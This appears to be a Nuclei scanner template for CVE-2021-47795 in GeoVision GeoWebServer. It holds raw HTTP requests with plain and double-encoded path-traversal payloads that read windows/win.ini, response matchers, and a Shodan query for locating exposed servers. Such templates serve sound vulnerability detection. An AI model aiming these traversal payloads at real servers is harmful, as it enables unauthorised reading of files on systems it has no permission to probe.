id: CVE-2021-47795
info:
name: GeoVision GeoWebServer <= 5.3.3 - Local File Inclusion / Cross-Site Scripting
author: shamo0
severity: high
description: |
GeoVision GeoWebServer 5.3.3 and prior is vulnerable to local file inclusion and cross-site scripting due to improper sanitization of user-supplied input in the WebStrings.srf endpoint. An unauthenticated attacker can read arbitrary files from the server or inject malicious scripts.
impact: |
Unauthenticated attackers can read arbitrary files from the server via path traversal, or execute arbitrary JavaScript in the victim's browser via reflected XSS.
remediation: |
Contact GeoVision support for a patched firmware version that addresses the input sanitization issues.
reference:
- https://www.exploit-db.com/exploits/50211
- https://www.geovision.com.tw/cyber_security.php
- https://nvd.nist.gov/vuln/detail/CVE-2021-47795
classification:
cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.2
cve-id: CVE-2021-47795
epss-score: 0.02615
epss-percentile: 0.83825
cwe-id: CWE-22
metadata:
verified: true
max-request: 3
vendor: geovision
product: geowebserver
shodan-query: title:"Geowebserver"
tags: cve,cve2021,geovision,geowebserver,lfi,xss,vuln,vkev
http:
- raw:
- |
GET /Visitor/bin/WebStrings.srf?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini&obj_name= HTTP/1.1
Host: {{Hostname}}
- |
POST /Visitor/bin/WebStrings.srf?obj_name=win.ini HTTP/1.1
Host: {{Hostname}}
Content-Length: 0
- |
GET /Visitor//%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwindows\win.ini HTTP/1.1
Host: {{Hostname}}
matchers-condition: or
matchers:
- type: dsl
name: lfi
dsl:
- 'contains_all(body, "for 16-bit", "[fonts]", "[extensions]")'
- 'contains(content_type, "application/octet-stream")'
- 'status_code == 200'
condition: and
- type: dsl
name: xss
dsl:
- 'contains_all(body, "={\"AeDebug")'
- 'contains(content_type, "text/html")'
- 'status_code == 200'
condition: and
# digest: 4a0a00473045022100f84d9ee73d6a666d22965779f2a87beceb3bd8f8c4c13f446200afeca714c9d90220196e25712f99ef1b6827b736b4c17f6c8660f547dc86061060c36c3910e9ac57:922c64590222798bb761d5b6d8e72950